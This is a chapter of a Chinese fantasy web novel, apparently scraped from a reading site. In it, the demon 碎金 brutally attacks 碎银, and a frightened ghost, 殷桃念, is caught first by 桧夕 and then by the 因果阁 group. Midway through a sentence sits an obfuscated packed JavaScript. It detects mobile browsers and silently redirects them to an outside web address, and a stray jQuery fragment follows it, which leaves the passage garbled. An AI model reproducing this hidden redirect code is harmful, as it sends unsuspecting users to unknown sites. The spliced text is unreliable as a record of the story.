62. 桃亡路险
作品:《因果往事》 意识回笼,碎银从床上醒来。
“……”
碎银看着自己这个小卧室里的一堆人,以为自己没睡醒呢。
除了因果阁的七个人,还有坐在桌子上打游戏的莫夏,他围巾里兜着正在睡觉的碎金(变原形了),坐在椅子上喝茶砸吧嘴的竺钟季,蹲在角落里的常青,在地里面游动的可可和追着给可可梳头的百福。
简希沧几人也醒的差不多了,捂着头从地上起来。
碎银憋着脾气,咬牙切齿道:“……为什么这么多人”
“哈哈哈!!赢啦!”莫夏突然站在桌上,嘴里叼着根烟,对于这次的游戏胜利很是兴奋。
碎银嘴角抽搐,闭上眼努力调整情绪。
“哇啊啊啊!”清醒了的尉乐虎躯一震,看着碎银就喊,抓着碎银肩膀惊叫,“我靠!难怪你瞳孔是横着的呢!合着你原本是个山羊妖哇!!”
碎金跳出来一口咬在了尉乐胳膊上。
“我靠疼疼疼疼疼!”
碎金变回人形跨坐在碎银脖子上,双手双腿攀在碎银头上,幽幽凝视着尉蓝。
“什么……替死鬼”新目子捂着嘴,眼泪在眼眶了打转。
碎银起身,想要问问碎金“替死鬼”的事,走到还在玩游戏的莫夏身旁,伸手指指碎金,希望对方能帮个忙。
“!”莫夏吓了一跳,抬头看着碎金又看看碎银,早就见怪不怪了。
这也让碎银顿了一下,不懂莫夏怕什么,就这一下,碎金弯腰,整个脸倒置出现在自己面前。
碎金低垂着眼盯着碎银,没了曾经的热情,他那双死鱼眼像是夜幕,很黑,也看不清。
碎金下来,碎银回头,恰好看见碎金脑后的符咒缠住上半张脸,只漏出一只眼睛。
“等……”碎银后退,撞上了莫夏,被对方捧着脑袋固定在原地。
碎金抱住她的一瞬间,先听见的是“小鸢”两字,再就是感受到了腹部传来钻心的痛和嘴里吐出的鲜血。
“碎银!”北冥鱼惊讶的喊出声,因为原本是狐妖的碎银,一瞬间变成了回忆中悲鬼的模样,短暂,但足以让所有人看清了。
“碎金……!”常青起身到一半又悻悻的坐了回去,因为对上了碎金睁的大大的眼睛,没有笑,只是那样看着自己。
碎金抱着怀里痛苦挣扎的碎银,俯视着常青:“青青不要插话”
“……啊,常,常青!”痛得不行了,碎银现在嘴里疼肚子也像是要炸开了似的,正死死攥着碎金胸前的衣服,浑身颤抖。
“碎银!你……”木贻扑过去想要救碎银,结果下一秒就被碎金的妖力捅了个对穿。
“啊……”木贻死不了,他的妖力直接恢复了伤口,但疼痛还在。
可可看碎金这样子,一拍手,把因果阁的成员全给困在了透明结界里,一如从前他们玩过家家时搭建的小屋。
“这样就更像小鸢啦”碎金任凭碎银倚靠着他,稍微有了点笑容,“……你当不了妈妈啦,没了生育能力哦,小鸢就没有”
碎银艰难抬头看着碎金:“……你,你神经病吧?”
“那个叫什么来着?……”碎金歪头想了想,一点没想起来。
“子宫”莫夏收起手机,走到碎金身旁拽他走。
“哦!对对对!子宫!我拿走了小鸢的子宫做交换哦!!……嗯,小鸢是猼訑,我是混沌……”碎金摆了下一胳膊挣脱莫夏,“那我是不是有两个子宫呀!!”
莫夏又握住碎金的胳膊强行拽他走:“……你是男的没有子宫”
“别拽我”碎金皱着眉又一次挣脱。
“回家了”莫夏又去拽碎金。
这一下就给碎金惹急眼了。
碎金的妖力拍开莫夏:“小莫好像没有听见我说话”
碎金下手没轻没重的,在莫夏身上留下一个不小的伤口。
他在使用符咒下“被封印的力量”,动真格了。
碎金摊开手,碎银重重摔在地上,
常青还是没忍住:“碎金……你够了”
“怎么了,我想我的小鸢了,不行嘛?”碎金一边说着,一遍边左手伸五个指头,右手伸三个指头,比出八的手势,“我才七岁嘛~”
莫夏叹口气又上前,压下碎金一根手指握住他的手。
“常青不是也才十四嘛,本质差不多啦”碎金笑着说出口。
米司顿看着碎金,那种强颜欢笑的情感,米思莲离家前也是这样的。
封泰某酒吧
“那个小鬼魂”
封泰代理家主—桧夕,一位成熟高知女青年,实力强大,总带着一顶帽檐很大的帽子,活了五百多年,最大的爱好就是讨伐朊鬼,那些刚出现的朊鬼不懂,最容易被骗了。
“你谁啊?”小鬼魂转头,露出殷桃念的脸。
那就是殷桃念。
“你漂泊了这么久也不投胎,多大的执念啊”桧夕压低帽檐,走到殷桃念跟前,把她的碎发挑至耳后,用气音说着,“小朊鬼,你是哪一支系的?自主产生的邪祟,没有母神的庇护,日子很难熬吧。
殷桃念挡住桧夕:“你,你怎么知道!你能看见我?!”
桧夕张开手,大拇指、中指、无名指捏在一起,形成狐狸之眼,透过空隙看向殷桃念:“当然看得见,我还看得见你原来的样子呢”
是干干净净的,无暇的,胸口处有一团蓝色的火焰。
“你会成为悲鬼的第二位眷属”
“你到底是谁”殷桃念还没能熟悉掌握自己的妖力,再加上是自主形成的朊鬼,存活到现在真的很不容易了。
“因果阁会来驱除你的,再不找靠山可就来不及了”
“你他妈听不听得懂人话?!”殷桃念刚开始骂,却看见桧夕的面色越来越差,咽了口唾沫转头就跑。
桧夕忍俊不禁,拨下手腕处的蓝翡翠镯子,殷桃念瞬间就被定在原地。
“小朊鬼,不喝一杯吗?”
冰块在杯中碰撞,一片灯红酒绿中,桧夕带着格外脱俗的气息,展现封泰人四处散情的“典型特点”,同时露出她那张“脸”。
至少在殷桃念看来,桧夕本应长着脸的地方,出现了一个深坑。
“伊城啊”桧夕坐在家主的位置上单独约谈了奉伊城,帽檐盖住了大部分脸。殷桃念则被五花大绑在了桌子下面,被桌布挡着,“虽说咱们俩没有血缘关系,但就族谱上来说我也算是你姑姑,别给我添堵了,好吗”
桧夕看着奉伊城和鼷鼠从七重村拐来的一群孩子,眼睛微眯。
“嗯”奉伊城僵直着点了点头。
“你一天天怎么栽楞的?能不能像个人?”
“嗯”
“滚滚滚,跟电线杆子成精了似的,也不知道随谁了“
“嗯”奉伊城转头就走,鼷鼠佝着腰跟上去。
屋内归于寂静,桧夕掀起桌布,脚尖挑起殷桃念的下巴:“小桃花,你真好骗”
殷桃念惊恐的看着桧夕,没想到对方就是那个专门抓朊鬼的人。
“……你,你想要什么…我都有,放了我吧”
“那可不行,你走了多没意思啊,等我……抓到小喜神再说吧”
桧夕放开了绑住殷桃念的缚仙索,拽着她的衣领把她揪出来,拍拍她的脸。
“我给你三天时间,去哪都好,但第四天我要看见你回来”
第一天,殷桃念隐去身形随便坐上一辆高铁离开了北部,去了西边,她现在太弱了,凝聚不出实体,怀揣着“想活命”的强烈愿望,独自一人崩溃的寻找出路。
第二天,她还是在不断移动的高铁上,到了中部,捡到了一个狐狸玩偶,红色的,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768499|172131||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
张着大嘴,里面的棉花好像不多,不过这红娃娃居然让自己的能力增强了,感觉有些不对劲。
第三天,殷桃念在中部最热闹的集市上转,她不信桧夕会在这么多人的情况下动手。
“邪祟?”抱着一堆零嘴的简希沧一把控制住殷桃念,妖力束缚住她。
“我不是!我不是……呜呜呜,我,我是朊……朊鬼”殷桃念哭着护住头,躺在地上,怀里抱着那个能给予自己一点点安全感的狐狸玩偶。
“朊鬼?”简希沧现在不会盲目驱除邪祟了,但看着那个狐狸玩偶,往嘴里塞了个包子,“你哪来的这东西?这不是碎金的吗?”
“我不知道!!哇啊啊啊!你别杀我,我有钱,我什么都有,别杀我,呜呜呜……”
简希沧递给殷桃念一个包子:“你,你疯了吗?我长得有那么吓人吗”
“我不知道!!别碰我,别碰我!!”
“?”简希沧后退半步鄙夷的看着殷桃念,转头去喊碎银和木贻了。
三个人合力把殷桃念绑回了因果阁。
殷桃念躲在尉蓝办公室的窗帘后面瑟瑟发抖,她识字,看见自己进入的地方叫作“因果阁”。
“哇啊啊啊——我死了这么久也没害过人啊!!不要,不要驱除我哇啊啊……”
“米司顿……”碎银怼了怼它,“她好像是……殷桃念,对吧”
“嗯--是她,但是我这资料上说她特别特别嚣张……这也不像啊”米司顿反复翻看着手中的资料,转头看了看双双,“双双,是你找的资料吧”
“嗯嗯”双双坐在殷桃念头顶的窗台上,反应过来米司顿好像在质疑他,站起来瞪着它,“嗯?!”
“不许质疑我”双双打着手语,跺着脚,结果吓到殷桃念了。
“啊啊啊!”殷桃念用狐狸玩偶盖住头,小声抽泣着。
尉蓝现在一个头两个大,愤愤的抓着头发瘫在桌子上:“为什么要让她来我办公室?”
碎银走到殷桃念面前,一把夺过玩偶:“你哪来的啊”
“我捡的,呜呜呜……”
碎银蹲下身,托腮看着殷桃念:“这么巧吗,捡到的正好是小央的东西”
殷桃念胡乱挥舞着手臂,根本没法靠近:“还给你!还给你!!”
碎银:“你冷静点”
北冥鱼端着水进来:“那个,我听她喊了这么久,要不要喝杯水……”
“哇啊啊啊!!我不想死啊,别缠着我了啊啊啊!”
碎银又重复一遍:“你冷静点”
殷桃念又开始蹬腿了。
碎银猛的站起身就要一脚踹上去,被简希沧还有北冥鱼拦住了。
北冥鱼:“……要不,让她自己呆会吧”
尉蓝蹲在门外,搞不清为什么自己的办公室要让给一只朊鬼。
北冥鱼去了后门那里。
碎银摆弄着碎金的娃娃,百思不得其解。
为什么娃娃会丢在中部一个平平无奇的位置?
反正想不出个所以然来,碎银反手把娃娃扔给尉蓝,去后门找北冥鱼去了。
北冥鱼蹲在后门门口抽烟,毫无血色的嘴唇昭示着他羸弱的身躯。
“还抽啊,身体都这么差了”
“你也要?”北冥鱼掏出烟盒递给碎银。
“不抽,不喜欢”碎银把围巾紧了紧,手放在嘴前面哈气。
“好吧”北冥鱼把烟头按灭在雪里,站起身,低血糖了,“诶?”
直直像地上到去,碎银眼疾手快拽住他。
“谢、谢谢”
北冥鱼重新坐回地上。
碎银伸了个懒腰:“我说你啊……”
一低头,恰巧碰见泪珠顺着北冥鱼的脸颊滑落。
“?你咋了”
“我,我不想死……”

